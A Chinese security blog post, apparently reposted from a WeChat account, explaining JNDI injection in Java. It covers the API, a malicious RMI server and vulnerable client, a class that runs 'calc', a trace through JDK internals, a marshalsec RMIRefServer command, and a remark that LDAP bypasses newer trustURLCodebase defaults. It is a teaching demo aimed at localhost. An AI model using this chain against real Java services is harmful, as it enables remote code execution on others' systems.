浅谈JNDI利用

admin 2022年5月4日20:37:01评论49 views字数 5521阅读18分24秒阅读模式

本文来学习JNDI注入,在此之前,先介绍一下JNDI是什么?

  JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,我们能通过 名称等去找到相关的对象,并把它下载到客户端中来。

 简单点来说就相当于一个索引库,一个命名服务将对象和名称联系在了一起,并且可以通过它们指定的名称找到相应的对象

       既然要玩JNDI注入,那么就先了解一些常用的函数。

这里是找的网上的函数讲解,写的比较全。

构造方法:

InitialContext() 构建一个初始上下文。InitialContext(boolean lazy) 构造一个初始上下文,并选择不初始化它。InitialContext(Hashtable<?,?> environment) 使用提供的环境构建初始上下文。

初始化上下文环境

InitialContext initialContext = new InitialContext();

常用方法:

bind(Name name, Object obj)   将名称绑定到对象。list(String name)   枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。lookup(String name)   检索命名对象。rebind(String name, Object obj)   将名称绑定到对象,覆盖任何现有绑定。unbind(String name)   取消绑定命名对象。

Reference类

该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。

构造方法:

Reference(String className)   为类名为“className”的对象构造一个新的引用。Reference(String className, RefAddr addr)   为类名为“className”的对象和地址构造一个新引用。Reference(String className, RefAddr addr, String factory, String factoryLocation)   为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。Reference(String className, String factory, String factoryLocation)   为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。代码:String url = "http://127.0.0.1:8080";        Reference reference = new Reference("test", "test", url);参数1:className - 远程加载时所使用的类名参数2:classFactory - 加载的class中需要实例化类的名称参数3:classFactoryLocation - 提供classes数据的地址可以是file/ftp/http协议

常用方法:

void add(int posn, RefAddr addr)   将地址添加到索引posn的地址列表中。void add(RefAddr addr)   将地址添加到地址列表的末尾。void clear()   从此引用中删除所有地址。RefAddr get(int posn)   检索索引posn上的地址。RefAddr get(String addrType)   检索地址类型为“addrType”的第一个地址。Enumeration<RefAddr> getAll()   检索本参考文献中地址的列举。String getClassName()   检索引用引用的对象的类名。String getFactoryClassLocation()   检索此引用引用的对象的工厂位置。String getFactoryClassName()   检索此引用引用对象的工厂的类名。Object remove(int posn)   从地址列表中删除索引posn上的地址。int size()   检索此引用中的地址数。String toString()   生成此引用的字符串表示形式。

服务端代码编写

既然有了上方的知识,就编写一个服务端,这里在执行完Reference之后,又将其传到了ReferenceWrapper中

public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {    String url = "http://127.0.0.1/";    Registry registry = LocateRegistry.createRegistry(1099);    Reference reference = new Reference("test","test",url);    ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);    registry.bind("work",referenceWrapper);
}

因为前面讲RMI的时候就说过了,需要继承UnicastRemoteObject类,实现Remote接口

浅谈JNDI利用

RemoteRefernece继承了Remote

浅谈JNDI利用

客户端代码编写

public static void main(String[] args) throws NamingException, IOException {    String uri = "rmi://127.0.0.1:1099/work";    InitialContext initialContext = new InitialContext();//得到初始化目录的一个引用    initialContext.lookup(uri);//获取远程对象    System.out.println("Client Runing....");}

其实这就是一个典型的JNDI注入,如果客户端的uri可控的话,就会加载rmi服务端的恶意类。

从这里可以看出,恶意的类,我放到了web服务中。

浅谈JNDI利用

恶意的代码:

javac ExecTest.java  这里在编译的时候,版本要一致。

import java.io.IOException;
public class test { public test() throws IOException { Runtime.getRuntime().exec("calc"); }}

之后就会执行命令

浅谈JNDI利用

这里深入追一下,看看是如何执行命令的?

跟进initialContext.lookup

public Object lookup(String name) throws NamingException {    return getURLOrDefaultInitCtx(name).lookup(name);}

之后继续跟进lookup

public Object lookup(String var1) throws NamingException {    ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);//获取RMI注册中心相关数据    Context var3 = (Context)var2.getResolvedObj();//获取注册中心对象
Object var4; try { var4 = var3.lookup(var2.getRemainingName());//去注册中心调用lookup查找 } finally { var3.close(); }
return var4;}再次跟进lookup并进入decodeObjectpublic Object lookup(Name var1) throws NamingException { if (var1.isEmpty()) { return new RegistryContext(this); } else { Remote var2; try { var2 = this.registry.lookup(var1.get(0)); } catch (NotBoundException var4) { throw new NameNotFoundException(var1.get(0)); } catch (RemoteException var5) { throw (NamingException)wrapRemoteException(var5).fillInStackTrace(); }
return this.decodeObject(var2, var1.getPrefix(1)); }}

decodeObject如下

//如果是Reference对象会,进入var.getReference(),与RMI服务器进行一次连接,获取到远程class文件地址。            //如果是普通RMI对象服务,这里不会进行连接,只有在正式远程函数调用的时候才会连接RMI服务。private Object decodeObject(Remote var1, Name var2) throws NamingException {     try {        Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;        return NamingManager.getObjectInstance(var3, var2, this, this.environment);     } catch (NamingException var5) {        throw var5;     } catch (RemoteException var6) {        throw (NamingException)wrapRemoteException(var6).fillInStackTrace();     } catch (Exception var7) {        NamingException var4 = new NamingException();        var4.setRootCause(var7);        throw var4;     }}

再次跟进NamingManager.getObjectInstance

浅谈JNDI利用

接下来我拿出getObjectInstance一部分重要的代码来分析,这里将refInfo存到了一个临时变量ref中,并在12行获取类名之后。14行统一传入进去了

// Use reference if possibleReference ref = null;if (refInfo instanceof Reference) {    ref = (Reference) refInfo;} else if (refInfo instanceof Referenceable) {    ref = ((Referenceable)(refInfo)).getReference();}
Object answer;
if (ref != null) { String f = ref.getFactoryClassName(); if (f != null) { factory = getObjectFactoryFromReference(ref, f); if (factory != null) { return factory.getObjectInstance(ref, name, nameCtx, environment); } return refInfo;
}跟进getObjectFactoryFromReference,代码如下,很明显就会加载我们的恶意类static ObjectFactory getObjectFactoryFromReference( Reference ref, String factoryName) throws IllegalAccessException, InstantiationException, MalformedURLException { Class<?> clas = null;
try { clas = helper.loadClass(factoryName); } catch (ClassNotFoundException e) {
}
String codebase; if (clas == null && (codebase = ref.getFactoryClassLocation()) != null) { //此处codebase是我们在恶意RMI服务端中定义的地址 try { clas = helper.loadClass(factoryName, codebase); } catch (ClassNotFoundException e) { } } //实例化就会执行calc return (clas != null) ? (ObjectFactory) clas.newInstance() : null;}

但是服务端的话,其实不必每次都得自己写,直接推荐一款工具吧,会自己搭建RMI服务

marshalsec https://github.com/mbechler/marshalsec

命令如下:  http://127.0.0.1/#test 就是我们的恶意类,而8088就是开放的端口,不指定的话就是默认的1099

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/#test 8088 


浅谈JNDI利用

最终也是可以成功执行

浅谈JNDI利用

结尾:

在高版本中,系统属性com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false。而在低版本中这几个选项默认为true,可以远程加载一些类。可以使用ldap来进行绕过



原文始发于微信公众号(安全族):浅谈JNDI利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月4日20:37:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅谈JNDI利用https://cn-sec.com/archives/965196.html

发表评论

匿名网友 填写信息